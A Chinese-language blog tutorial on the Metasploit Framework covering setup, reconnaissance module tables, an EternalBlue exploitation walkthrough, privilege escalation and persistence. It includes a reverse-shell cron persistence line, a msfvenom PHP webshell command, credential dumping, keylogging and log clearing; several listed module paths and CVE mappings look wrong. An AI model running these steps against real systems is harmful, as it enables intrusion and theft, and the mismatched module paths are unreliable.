Metasploit Framework (MSF) 使用指南

April 15, 2025 / 奈幽 / 40阅读 / 0评论/ 分类: 渗透测试工具

Metasploit Framework (MSF) 使用指南

0、MSF简介

Metasploit Framework(MSF)是一个开源的渗透测试框架,它是渗透测试领域的核心工具之一,被广泛应用于安全研究和渗透测试。MSF通过模块化设计,简化了漏洞利用和后渗透操作,帮助测试人员快速验证系统安全性。

1、准备阶段

1.1、基础概念

模块的概念

Metasploit 基于模块的概念。最常用的模块类型是:

  • Auxiliary - 辅助模块不利用目标,但可以执行数据收集或管理任务
  • Exploit - 利用漏洞模块以允许框架在目标主机上执行任意代码的方式利用漏洞
  • Payloads - Payload生成模块可以在远程目标上执行的任意代码,用于执行任务,例如创建用户、打开 shell 等
  • Post - 后渗透模块在计算机被入侵后使用。它们执行有用的任务,例如收集、汇总或枚举会话中的数据。

模块的使用

  • search <keyword>:搜索模块,例如search ms17-010
  • use <module>:选择模块,例如use exploit/windows/smb/ms17_010_eternalblue
  • info:显示模块的使用方法和参数
  • show options:查看模块配置项。
  • set <option> <value>:设置参数,例如set RHOST 192.168.1.100
  • exploitrun:执行模块
  • sessions:查看和管理会话

模块的存储路径

ll /usr/share/metasploit-framework/modules

drwxr-xr-x 22 root root 4096 Apr 10 02:24 auxiliary
drwxr-xr-x 12 root root 4096 Nov 30 07:24 encoders
drwxr-xr-x  3 root root 4096 Nov 30 07:24 evasion
drwxr-xr-x 22 root root 4096 Apr 10 02:24 exploits
drwxr-xr-x 14 root root 4096 Dec 26 02:00 nops
drwxr-xr-x  6 root root 4096 Nov 30 07:24 payloads
drwxr-xr-x 14 root root 4096 Nov 30 07:24 post
-rw-r--r--  1 root root  434 Mar 19 13:38 README.md

1.2、MSF安装和更新

安装MSF

(以Kali Linux为例)

apt update -y && apt install -y metasploit-framework

更新MSF版本

apt update -y && apt upgrade -y metasploit-framework

或使用旧命令:

msfupdate

更新MSF数据库

sudo msfdb init

1.5、命令帮助(v6.4.54-dev)

如需了解某个命令的更多信息,使用 <命令> -hhelp <命令>

核心命令

命令描述
?帮助菜单
banner展示一个很棒的metasploit横幅
cd更改当前工作目录
color切换颜色
connect与主机通信
debug显示调试有用的信息
exit退出控制台
features显示尚未发布但可以选择使用的功能列表
get获取特定于上下文的变量的值
getg获取全局变量的值
grepGrep另一个命令的输出
help帮助菜单
history显示命令历史
load加载框架插件
quit退出控制台
repeat重复命令列表
route通过会话路由流量
save保存激活的数据存储
sessions转储会话列表并显示会话信息
set将上下文相关的变量设置为一个值
setg设置一个全局变量的值
sleep在指定的秒数内什么都不做
spool将控制台输出写入文件以及屏幕
threads查看和操作后台线程
tips展示一些有用的提高生产力的技巧
unload卸载框架插件
unset取消设置一个或多个特定于上下文的变量
unsetg取消设置一个或多个全局变量
version显示框架和控制台库的版本号

模块操作命令

命令描述
advanced显示一个或多个模块的高级选项
back从当前上下文中后退
clearm清除模块栈
favorite将模块添加到喜欢的模块列表中
favorites打印喜爱的模块列表(‘ show favorites ’的别名)
info显示一个或多个模块的信息
listm列出模块栈
loadpath从路径中搜索和加载模块
options显示一个或多个模块的全局选项
popm将最新的模块从栈中弹出并激活
previous将先前加载的模块设置为当前模块
pushm将活动模块或模块列表压入模块栈
reload_all从所有定义的模块路径中重新加载所有模块
search搜索模块名称和描述
show显示给定类型的模块或所有模块
use通过名称或搜索词/索引与模块交互

工作命令

命令描述
handler启动一个负载处理程序作为任务
jobs显示和管理作业
kill终止作业
rename_job重命名作业

资源脚本命令

命令描述
makerc将开始后输入的命令保存到文件中
resource运行存储在文件中的命令

数据库后端命令

命令描述
analyze分析特定地址或地址范围的数据库信息
db_connect连接到现有的数据服务
db_disconnect断开与当前数据服务的连接
db_export导出一个包含数据库内容的文件
db_import导入扫描结果文件(文件类型将自动检测)
db_nmap执行nmap并自动记录输出
db_rebuild_cache重建数据库存储的模块缓存(已弃用)
db_remove删除保存的数据服务条目
db_save将当前数据服务连接保存为默认连接,以便在启动时重新连接
db_stats显示数据库的统计信息
db_status显示当前数据服务状态
hosts列出数据库中的所有主机
klist在数据库中列出Kerberos票证
loot列出数据库中的所有战利品
notes列出数据库中的所有笔记
services列出数据库中的所有服务
vulns列出数据库中的所有漏洞
workspace在数据库工作区之间切换

证书后端命令

命令描述
creds列出数据库中的所有凭据

开发人员的命令

命令描述
edit用首选编辑器编辑当前模块或文件
irb在当前上下文中打开交互式Ruby shell
log如果可能,将frame .log分页显示到最后
pry打开当前模块或框架上的Pry调试器
reload_lib从指定路径重新加载Ruby库文件
timeTime运行特定命令所需的时间

DNS 命令

命令描述
dns管理Metasploit的DNS解析行为

辅助命令

命令描述
check检查目标是否易受攻击
exploit这是run命令的别名
rcheck重新加载模块并检查目标是否存在漏洞
recheck这是rcheck命令的别名
reload重新加载辅助模块
rerun重新加载并启动辅助模块
rexploit这是rerun命令的别名
run启动辅助模块。

1.5、其他工具准备

  • 必备工具:Nmap、MSF、Burp Suite、Exploit-DB、CVE查询数据库
  • 脚本工具:linpeas.sh
  • 配置监听:事先选定IP、端口,例如反弹Shell的监听配置:
  use exploit/multi/handler
  set PAYLOAD windows/meterpreter/reverse_tcp
  set LHOST <你的IP>
  set LPORT <端口号>

2、渗透测试完整流程

1、准备阶段

1.1、启动MSFDB

在Metasploit(MSF)中,数据库(默认使用PostgreSQL)用于存储扫描结果、漏洞信息、会话数据等,便于后续分析和操作。

┌──(kali㉿kali)-[~]
└─$ msfdb init
[-] Error: /usr/bin/msfdb must be run as root

┌──(kali㉿kali)-[~]
└─$ sudo su -       
[sudo] password for kali: 
┌──(root㉿kali)-[~]
└─# msfdb init
[i] Database already started
[i] The database appears to be already configured, skipping initialization

┌──(root㉿kali)-[~]
└─# msfdb stop
[+] Stopping database

┌──(root㉿kali)-[~]
└─# msfdb delete
[+] Starting database
[+] Dropping databases 'msf'
[+] Dropping databases 'msf_test'
[+] Dropping database user 'msf'
[+] Deleting configuration file /usr/share/metasploit-framework/config/database.yml
[+] Stopping database

┌──(root㉿kali)-[~]
└─# exit

┌──(kali㉿kali)-[~]
└─$ sudo msfdb init
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema

┌──(kali㉿kali)-[~]
└─$ sudo msfdb start
[i] Database already started
作用shell命令
初始化数据库(首次使用必做)msfdb init
启动数据库服务msfdb start
停止数据库服务msfdb stop
重置数据库服务msfdb reinit
检查数据库服务状态msfdb status
删除数据库服务msfdb delete
显示帮助信息msfdb help

进入MSF控制台后(msfconsole),使用以下命令管理数据库:

作用命令
连接到数据库db_connect [用户名:密码@主机:端口/数据库名]
默认连接(首次初始化后无需手动执行)db_connect msf:msf@127.0.0.1:5432/msf
断开数据库连接db_disconnect
查看数据库连接状态db_status
列出所有存储的主机信息hosts
列出所有存储的主机信息(自定义显示列)hosts -c name,ip,os
删除指定主机记录hosts -d <IP>
列出所有存储的漏洞信息vulns
列出所有存储的会话(Session)sessions
导入外部扫描数据db_import <文件路径>
导入Nmap扫描结果到数据库db_import /root/nmap_scan.xml
导出数据库数据db_export -f <格式> <文件路径>
导出主机列表为CSV文件db_export -f csv /root/hosts.csv
清空当前数据库中的所有数据db_flush
使用数据库增强扫描模块在使用扫描模块(如auxiliary/scanner/portscan/tcp)时,添加-j参数可自动将结果存入数据库

使用数据库增强扫描模块

  • 在使用扫描模块(如auxiliary/scanner/portscan/tcp)时,添加-j参数可自动将结果存入数据库:
    use auxiliary/scanner/portscan/tcp
    set RHOSTS 192.168.1.1-254
    set THREADS 50
    run -j  # 结果存入数据库
    

1.1、启动MSF控制台

启动需要一点时间

┌──(kali㉿kali)-[~]
└─$ sudo msfconsole 
Metasploit tip: To save all commands executed since start up to a file, use the 
makerc command
                                                  

      .:okOOOkdc'           'cdkOOOko:.
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
  oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
  dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
  lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
  .OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
   cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
    oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
     lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
      ;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
       .dOOo'WM.OOOOocccxOOOO.MX'xOOd.
         ,kOl'M.OOOOOOOOOOOOO.M'dOk,
           :kk;.OOOOOOOOOOOOO.;Ok:
             ;kOOOOOOOOOOOOOOOk:
               ,xOOOOOOOOOOOx,
                 .lOOOOOOOl.
                    ,dOd,
                      .

       =[ metasploit v6.4.54-dev                          ]
+ -- --=[ 2500 exploits - 1289 auxiliary - 431 post       ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

1.3、设置工作区 (workspace)

  • 设置工作区,创建单独的工作区便于记录和管理:
作用命令
列出所有工作区workspace -l
切换到指定工作区workspace <工作区名称>
新建工作区workspace -a <工作区名称>
删除工作区workspace -d <工作区名称>
重命名工作区workspace -r <当前工作区名称> <新工作区名称>
显示当前工作区workspace
清理当前工作区中的数据workspace -c

进程调整命令

更多请查看 1.5 -> 工作命令

msf5 auxiliary(sniffer/psnuffle) > jobs		#查看msf后台运行进程
msf5 auxiliary(sniffer/psnuffle) > jobs -K		#杀死进程

2、信息收集

2.1、被动信息收集模块

模块名称模块路径
网络流量嗅探auxiliary/sniffer/psnuffle
SSL 漏洞被动检测auxiliary/scanner/ssl/openssl_heartbleed
DNS 信息被动收集auxiliary/gather/dns_info
ARP 流量嗅探auxiliary/sniffer/arp_sniffer
用于DHCP流量分析auxiliary/sniffer/dhcp_sniffer
FTP Banner信息收集auxiliary/scanner/ftp/ftp_version
SSH Banner信息收集auxiliary/scanner/ssh/ssh_version
Telnet Banner收集auxiliary/scanner/telnet/telnet_version

2.2、主动信息收集模块

主机发现模块

msf6 > search arp_sweep

Matching Modules
================

   #  Name                                   Disclosure Date  Rank    Check  Description
   -  ----                                   ---------------  ----    -----  -----------
   0  auxiliary/scanner/discovery/arp_sweep  .                normal  No     ARP Sweep Local Network Discovery


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/discovery/arp_sweep

msf6 > use 0
msf6 auxiliary(scanner/discovery/arp_sweep) > info

       Name: ARP Sweep Local Network Discovery
     Module: auxiliary/scanner/discovery/arp_sweep
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  belch

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  INTERFACE                   no        The name of the interface
  RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-me
                                        tasploit.html
  SHOST                       no        Source IP Address
  SMAC                        no        Source MAC Address
  THREADS    1                yes       The number of concurrent threads (max one per host)
  TIMEOUT    5                yes       The number of seconds to wait for new data

Description:
  Enumerate alive Hosts in local network using ARP requests.


View the full module info with the info -d command.

msf6 auxiliary(scanner/discovery/arp_sweep) > options 

Module options (auxiliary/scanner/discovery/arp_sweep):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-m
                                         etasploit.html
   SHOST                       no        Source IP Address
   SMAC                        no        Source MAC Address
   THREADS    1                yes       The number of concurrent threads (max one per host)
   TIMEOUT    5                yes       The number of seconds to wait for new data


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 192.168.56.0/24
RHOSTS => 192.168.56.0/24
msf6 auxiliary(scanner/discovery/arp_sweep) > set INTERFACE eth1
INTERFACE => eth1
msf6 auxiliary(scanner/discovery/arp_sweep) > run
/usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:123: warning: undefining the allocator of T_DATA class PCAPRUB::Pcap
[+] 192.168.56.1 appears to be up (UNKNOWN).
[+] 192.168.56.100 appears to be up (CADMUS COMPUTER SYSTEMS).
[+] 192.168.56.105 appears to be up (CADMUS COMPUTER SYSTEMS).
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/discovery/arp_sweep) > 
1. 通用主机发现模块
模块名称模块路径
Ping 扫描模块auxiliary/scanner/discovery/icmp_ping
TCP 扫描模块auxiliary/scanner/discovery/tcp_ping
ARP 扫描模块auxiliary/scanner/discovery/arp_sweep
主机发现模块(使用 UDP)auxiliary/scanner/discovery/udp_probe
SNMP Discovery(SNMP嗅探)auxiliary/scanner/snmp/snmp_enum
NetBIOS 扫描模块auxiliary/scanner/smb/smb_lookups
IP 地址范围探测模块auxiliary/scanner/discovery/ipv6_neighbor
UPnP Discovery 模块auxiliary/scanner/upnp/ssdp_msearch
2. Windows 主机发现模块
模块名称模块路径
NetBIOS 本地网络发现模块auxiliary/scanner/smb/smb_enumshares
SMB 扫描模块auxiliary/scanner/smb/smb_version
MSRPC 服务探测模块auxiliary/scanner/dcerpc/endpoint_mapper
3. Linux 主机发现模块
模块名称模块路径
SSH 服务探测模块auxiliary/scanner/ssh/ssh_version
Linux NFS 探查模块auxiliary/scanner/nfs/nfs_mount
4. 特定网络服务模块
模块名称模块路径
DNS 名称解析模块auxiliary/scanner/dns/dns_query
HTTP 服务探测模块auxiliary/scanner/http/http_version
FTP 服务探测模块auxiliary/scanner/ftp/ftp_version
Telnet 服务探测模块auxiliary/scanner/telnet/telnet_version
5. IoT设备相关模块
模块名称模块路径
UPnP设备发现模块auxiliary/scanner/upnp/ssdp_msearch
Modbus 工业设备发现模块auxiliary/scanner/scada/modbusdetect

端口扫描模块

调用 Nmap 扫描

可以直接在 Metasploit 控制台中用 db_nmap 命令调用 Nmap,结果会自动存入 MSF 的数据库

db_nmap -sS -sV -T4 -Pn 192.168.56.105
  • db_nmap 是 Metasploit 封装的 Nmap 调用命令,允许将扫描结果直接导入 MSF 数据库。
  • 选项与参数与 Nmap 相同
msf6 auxiliary(scanner/http/http_version) > db_nmap -sS -sV -T4 -Pn 192.168.56.105
[*] Nmap: Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-15 02:58 EDT
[*] Nmap: Nmap scan report for 192.168.56.105
[*] Nmap: Host is up (0.00087s latency).
[*] Nmap: Not shown: 994 closed tcp ports (reset)
[*] Nmap: PORT     STATE SERVICE  VERSION
[*] Nmap: 22/tcp   open  ssh      OpenSSH 7.4 (protocol 2.0)
[*] Nmap: 80/tcp   open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3)
[*] Nmap: 111/tcp  open  rpcbind  2-4 (RPC #100000)
[*] Nmap: 443/tcp  open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3)
[*] Nmap: 3306/tcp open  mysql    MariaDB 10.3.23 or earlier (unauthorized)
[*] Nmap: 8086/tcp open  http     InfluxDB http admin 1.7.9
[*] Nmap: MAC Address: 08:00:27:A4:07:39 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 14.85 seconds

模块名称模块路径
TCP 端口扫描auxiliary/scanner/portscan/tcp
SYN 半开扫描auxiliary/scanner/portscan/syn
UDP 端口扫描auxiliary/scanner/discovery/udp_probe
IPv6 主机扫描auxiliary/scanner/discovery/ipv6_neighbor
Telnet 端口探测auxiliary/scanner/telnet/telnet_version
UPnP 端口探测auxiliary/scanner/upnp/upnp_root

服务扫描模块

模块名称模块路径
DNS服务扫描auxiliary/scanner/dns/dns_enum
FTP服务扫描auxiliary/scanner/ftp/ftp_version
HTTPSSSL/TLS信息扫描auxiliary/scanner/http/ssl
HTTP服务扫描auxiliary/scanner/http/http_version
IMAP服务扫描auxiliary/scanner/imap/imap_version
LDAP服务扫描auxiliary/scanner/ldap/ldap_enum
MSSQL端口探测auxiliary/scanner/mssql/mssql_version
MySQL服务扫描auxiliary/scanner/mysql/mysql_version
NTP端口探测auxiliary/scanner/ntp/ntp_server
Oracle服务端口检测auxiliary/scanner/oracle/oracle_version
POP3服务扫描auxiliary/scanner/pop3/pop3_version
PostgreSQL服务扫描auxiliary/scanner/postgres/postgres_version
RDP服务扫描auxiliary/scanner/rdp/rdp_scanner
Redis端口探测auxiliary/scanner/redis/redis_server
Redis信息探测auxiliary/scanner/redis/redis_login
SIP服务扫描auxiliary/scanner/sip/options
SMB服务扫描auxiliary/scanner/smb/smb_version
SMB共享枚举扫描auxiliary/scanner/smb/smb_enumshares
SMB用户枚举扫描auxiliary/scanner/smb/smb_enumusers
SMTP服务扫描auxiliary/scanner/smtp/smtp_enum
SNMP枚举扫描auxiliary/scanner/snmp/snmp_enum
SSH服务扫描auxiliary/scanner/ssh/ssh_version
SYN扫描auxiliary/scanner/portscan/syn
TCP端口扫描auxiliary/scanner/portscan/tcp
Telnet服务扫描auxiliary/scanner/telnet/telnet_version
TFTP服务扫描auxiliary/scanner/tftp/tftp_enum
UDP端口扫描auxiliary/scanner/discovery/udp_sweep
VNC端口探测auxiliary/scanner/vnc/vnc_tcp
VNC服务扫描auxiliary/scanner/vnc/vnc_login

WEB服务模块:

模块名称模块路径
HTTP 服务版本探测auxiliary/scanner/http/http_version
HTTPS SSL/TLS 信息探测auxiliary/scanner/http/ssl
HTTP 内容识别探测auxiliary/scanner/http/http_identify
HTTP 凭证爆破auxiliary/scanner/http/http_login
HTTP URL 路径枚举auxiliary/scanner/http/dir_listing
HTTP 配置文件枚举auxiliary/scanner/http/config_scanner
HTTP SQL 注入扫描auxiliary/scanner/http/sql_injection
HTTP 参数枚举扫描auxiliary/scanner/http/parameter_brute
HTTP 配置文件泄露探测auxiliary/scanner/http/robots_txt
WordPress 登录探测auxiliary/scanner/http/wordpress_login
Joomla 登录探测auxiliary/scanner/http/joomla_login
Drupal 登录探测auxiliary/scanner/http/drupal_login
Tomcat 管理接口探测auxiliary/scanner/http/tomcat_mgr_login
Jenkins 登录探测auxiliary/scanner/http/jenkins_login
HTTP 弱点检测探测auxiliary/scanner/http/http_weakness
Apache 服务探测auxiliary/scanner/http/apache_version
Nginx 服务探测auxiliary/scanner/http/nginx_version
IIS 服务探测auxiliary/scanner/http/iis_version
PHPMyAdmin 探测auxiliary/scanner/http/phpmyadmin_login
HTTP 默认证书枚举auxiliary/scanner/http/http_ssl
WebDAV 扫描与探测auxiliary/scanner/http/webdav_scanner
HTTP 配置文件枚举auxiliary/scanner/http/http_config
URL 探测与文件枚举auxiliary/scanner/http/http_enum
WordPress 用插件信息枚举auxiliary/scanner/http/wordpress_enum
Joomla 信息枚举auxiliary/scanner/http/joomla_plugin_scanner
CGI 扫描与敏感目录探测auxiliary/scanner/http/cgibin_scanner
Apache 服务器版本检测auxiliary/scanner/http/apache_server_version
扫描 HTTP 参数泄露 (Headers)auxiliary/scanner/http/http_header

网络协议模块

模块名称模块路径
NETBIOS 名称探测auxiliary/scanner/netbios/nbname
网络共有资源枚举auxiliary/scanner/smb/smb_enumshares
SMB 用户信息探测auxiliary/scanner/smb/smb_enumusers
DNS 命名解析枚举auxiliary/scanner/dns/dns_enum
网络设备探测auxiliary/scanner/snmp/snmp_enum
NTP 服务器时间探测auxiliary/scanner/ntp/ntp_version
UPnP 设备探测auxiliary/scanner/upnp/ssdp_msearch

数据库模块

模块名称模块路径
MySQL 用户名爆破auxiliary/scanner/mysql/mysql_login
MSSQL 用户名探测与枚举auxiliary/scanner/mssql/mssql_enum
PostgreSQL 探测与枚举auxiliary/scanner/postgres/postgres_login
Redis 登录口令爆破auxiliary/scanner/redis/redis_login
Oracle 数据库信息枚举auxiliary/scanner/oracle/oracle_login

Wi-Fi信息模块

模块名称模块路径
Wi-Fi 网络 SSID 扫描auxiliary/scanner/wifi/wifi_probe
无线设备信息探测auxiliary/scanner/wifi/packet_capture
蓝牙设备探测auxiliary/scanner/bluetooth/scan

3、漏洞利用

通过信息收集阶段发现的潜在入口点,选择合适的Exploit模块并执行漏洞利用。

信息记录

将扫描结果保存以便后续模块选择:

notes add <笔记内容>

3.1、漏洞利用搜索

  • 搜索漏洞模块:
  search ms17-010
  • 使用模块:
  use exploit/windows/smb/ms17_010_eternalblue

常见漏洞POC列表:

模块名称模块路径
MS17-010 EternalBlue 漏洞利用exploit/windows/smb/ms17_010_eternalblue
Tomcat 管理接口漏洞利用exploit/multi/http/tomcat_mgr_upload
Java RMI 反序列化漏洞利用exploit/multi/misc/java_rmi_server
Android Meterpreter APK 注入exploit/android/fileformat/adobe_pdf_embedded_exe
Jenkins 远程代码执行漏洞exploit/multi/http/jenkins_script_console
Apache Struts 远程代码执行exploit/multi/http/struts2_content_type_ognl
Joomla Core SQL 注入漏洞exploit/multi/http/joomla_versioned_objects_rce
Drupalgeddon 远程代码执行exploit/multi/http/drupal_drupalgeddon2
Wordpress 插件远程代码执行exploit/multi/http/wp_admin_shell_upload
Samba CVE-2017-7494 漏洞利用exploit/linux/samba/is_known_pipename
VSFTPD 后门漏洞利用exploit/unix/ftp/vsftpd_234_backdoor
Proftpd ModCopy 漏洞利用exploit/unix/ftp/proftpd_modcopy_exec
WebLogic 远程代码执行漏洞exploit/multi/http/weblogic_deserialize_unicast
Adobe ColdFusion 文件上传exploit/multi/http/coldfusion_file_upload
Microsoft IE 内存崩溃利用exploit/windows/browser/ms13_062_caret
RDP 蓝屏漏洞(CVE-2019-0708)exploit/windows/rdp/cve_2019_0708_bluekeep_rce
SMBGhost 漏洞利用(CVE-2020-0796)exploit/windows/smb/smbghost_rce
Apache ActiveMQ 反序列化漏洞exploit/multi/misc/activemq_deserialization
Redis 未授权访问漏洞exploit/linux/redis/redis_unauth_exec
Elasticsearch RCE 漏洞exploit/multi/elasticsearch/script_mvel_rce
脏牛Dirty Cow(CVE-2016-5195)use exploit/linux/local/dirtycow

3.2、配置参数

使用show options查看目标模块的可配置参数:

  • 设置目标IP:
set RHOST 192.168.1.100
  • 设置反弹Shell监听:
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <你的IP>
set LPORT 4444
  • 查看当前配置:
show options

3.3、执行漏洞利用

启动Exploit模块:

exploit
或
run

案例:

  • 漏洞:MS17-010 (EternalBlue)
  1. 使用模块:
use exploit/windows/smb/ms17_010_eternalblue
  1. 配置目标:
set RHOST 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
  1. 执行攻击:
exploit

3.4、验证会话

  • 查看当前会话列表:
  sessions -l
  • 选择会话:
  sessions -i <会话ID>

4、后渗透

在获得目标访问权限后,进入Meterpreter,通过后渗透模块进一步提升权限、信息窃取、持续控制。

4.1、系统内信息收集

0:使用 shell 命令切换到交互式 shell

Meterpreter 提供一种直接进入目标系统本地 Shell 的方式,运行以下命令即可:

shell
  • 执行此命令后,你将进入目标系统的交互式 Bash Shell(如果目标是 Linux 系统)。

1. 通用命令

• 查看系统信息:sysinfo
• 查看当前用户信息:getuid
• 查看环境变量:getenv
• 查看进程信息:ps
• 查看文件系统:

  • ls:展示当前目录的文件
  • cd:移动目录
  • pwd:当前目录
  • getwd:本地工作目录
  • search -f *.txt -d c:\:搜索文件。
    • 场景:查找并下载敏感文件。
    • search -f *password*.txt -d c:\users
  • upload / download:上传/下载文件。
Linux 系统内信息收集模块
模块名称模块路径
内核版本检测uname -a
收集系统用户账户post/linux/gather/enum_users
获取主机名post/linux/gather/hostname
抓取网络配置信息post/linux/gather/network_config
枚举系统环境变量post/linux/gather/env
枚举系统进程信息post/linux/gather/processes
获取可用命令列表post/linux/gather/enum_commands
枚举已安装软件包post/linux/gather/enum_packages
枚举系统服务信息post/linux/gather/services
抓取文件系统信息post/linux/gather/filesystem
收集系统日志文件post/linux/gather/system_logs
枚举开放端口post/linux/gather/open_ports
收集 Cron 作业内容post/linux/gather/cron_jobs
跟踪内存使用情况post/linux/gather/memory_usage
用户与配置检查(需root)post/linux/gather/hashdump
Windows 系统内信息收集模块
模块名称模块路径
凭证提取post/windows/gather/mimikatz
系统信息post/windows/gather/enum_system
枚举本地用户账户post/windows/gather/enum_logged_on_users
枚举系统网络配置信息post/windows/gather/enum_network
获取系统主机名post/windows/gather/hostname
收集任务计划内容post/windows/gather/enum_scheduled_tasks
注册表值枚举post/windows/gather/enum_registry
枚举系统进程post/windows/gather/enum_processes
捕获系统服务信息post/windows/gather/enum_services
抓取已安装软件列表post/windows/gather/enum_applications
抓取操作系统信息post/windows/gather/os_info
抓取防火墙规则post/windows/gather/firewall_rules
抓取剪贴板内容post/windows/gather/clipboard
收集 Windows 驱动信息post/windows/gather/driver_list
Mac系统
模块名称模块路径
钥匙串提取post/macOS/gather/keychain_dump
查看系统版本system_profiler SPSoftwareDataType

4.2、权限提升

4.2.1a、自动提权扫描模块
模块名称模块路径
收集系统基本信息,检测潜在提权路径post/linux/gather/enum_system
更全面的系统检查,包括内核漏洞、配置错误、服务漏洞等,输出提权建议post/linux/gather/checks
内核漏洞利用模块根据获取到的系统信息,通过search命令查找对应内核版本的提权漏洞模块
查找SUID/SGID文件post/linux/gather/suid_enum
查看程序的环境变量依赖ltracestrace
4.2.1b、执行linpeas.sh提权扫描脚本

上传脚本到目标服务器

  • 在 MSF 控制台中进入目标会话的交互式 Shell:
sessions -i <会话ID>  # 例如 sessions -i 1
  • 使用upload命令上传本地的linpeas.sh(需提前下载脚本到攻击机):
msf6 > upload /path/to/linpeas.sh /tmp/linpeas.sh  # 在MSF控制台执行

赋予执行权限并运行

chmod +x /tmp/linpeas.sh  # 在目标Shell中执行
./tmp/linpeas.sh  # 运行脚本,等待扫描结果
4.2.2、用于提权的其他操作
模块名称模块路径
上传文件upload /path/to/file
下载文件download /path/to/file
执行命令execute -f cmd.exe
清除日志clearev
进程迁移run post/windows/manage/migrate
键盘记录keyscan_startkeyscan_dump
屏幕截图screengrab
抓取密码哈希run post/windows/gather/hashdump
4.2.3、检查漏洞利用模块

Metasploit提供了大量的提权模块,可以根据收集到的系统信息筛选合适的模块进行尝试。
• 搜索提权模块:在MSF控制台中使用search命令搜索适用于目标系统的提权模块,例如搜索针对特定内核版本的提权模块。

msf6 > search linux privilege escalation

• 选择合适的模块:根据搜索结果选择合适的提权模块,使用use命令加载模块。

msf6 > use <模块名称>

• 设置必要的参数:使用set命令设置模块所需的参数,如SESSION参数指定要提权的Meterpreter会话编号。

msf6 exploit(<模块名称>) > set SESSION <会话编号>

• 执行模块:使用runexploit命令执行提权模块。

msf6 exploit(<模块名称>) > run
Linux 权限提升模块
模块名称模块路径
直接提权getsystem(Meterpreter内置)
Dirty Cow 权限提升 (CVE-2016-5195)exploit/linux/local/dirty_cow
OverlayFS 权限提升exploit/linux/local/overlayfs_priv_esc
Sudo 权限提升 (CVE-2021-3156)exploit/multi/ssh/sshexec
Kernel 2.6 权限提升exploit/linux/local/recvmmsg_priv_esc
UDEV 权限提升exploit/linux/local/udev_netlink_priv_esc
Polkit 权限提升 (CVE-2021-4034)exploit/linux/local/policykit_priv_esc
CronJob 提权post/linux/manage/cron_persistence
Docker 权限提升post/linux/manage/docker_privilege_escalation
SUID 文件权限提升post/linux/manage/suid_escalate
LD_PRELOAD 权限提升方法post/linux/manage/ld_preload
内核漏洞提权multi/recon/local_exploit_suggester
Windows 权限提升模块
模块名称模块路径
直接提权getsystem(Meterpreter内置)
UAC绕过exploit/windows/local/bypassuac_eventvwr
MS16-032 权限提升exploit/windows/local/ms16_032
MS17-010 EternalBlue 权限提升exploit/windows/smb/ms17_010_eternalblue
UAC 绕过 (Bypass)exploit/windows/local/bypassuac
UAC 绕过 (PSExec)exploit/windows/local/bypassuac_psh
KiTrap0D 权限提升exploit/windows/local/ms10_015_kitrap0d
NTUserMessageCall 权限提升exploit/windows/local/ntusermessagecall
RPCSS 服务权限提升exploit/windows/local/service_permissions
AlwaysInstallElevated 权限提升exploit/windows/local/always_install_elevated
Token 偷窃 (Stealing Token)post/windows/manage/priv_migrate
Sticky Keys 后门安装post/windows/manage/sticky_keys
Mac系统
  1. Rootpipe漏洞:
    • 模块:exploit/osx/local/rootpipe
    • 使用:use exploit/osx/local/rootpipeset SESSION <ID>run
  2. 权限配置滥用:
    • 手动检测:sudo -l → 利用免密执行的命令(如python)。

4.3、权限持久化

通用 权限持久化模块
模块名称模块路径
Web后门(如Webshell)生成Webshell:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f raw > shell.php
Linux 权限持久化模块
模块名称模块路径
创建 Cron 持久化任务post/linux/manage/cron_persistence
Cron任务echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'" > /etc/cron.d/persistence
添加恶意用户账户post/linux/manage/add_user
创建 SSH 持久化秘钥post/linux/manage/sshkey_persistence
修改系统启动脚本实现持久化post/linux/manage/startup_script
创建隐藏文件用于持久化post/linux/manage/hide_file_persistence
注入共享库以实现持久化post/linux/manage/ld_preload_persistence
通过 Systemd 创建持久化服务post/linux/manage/systemd_persistence
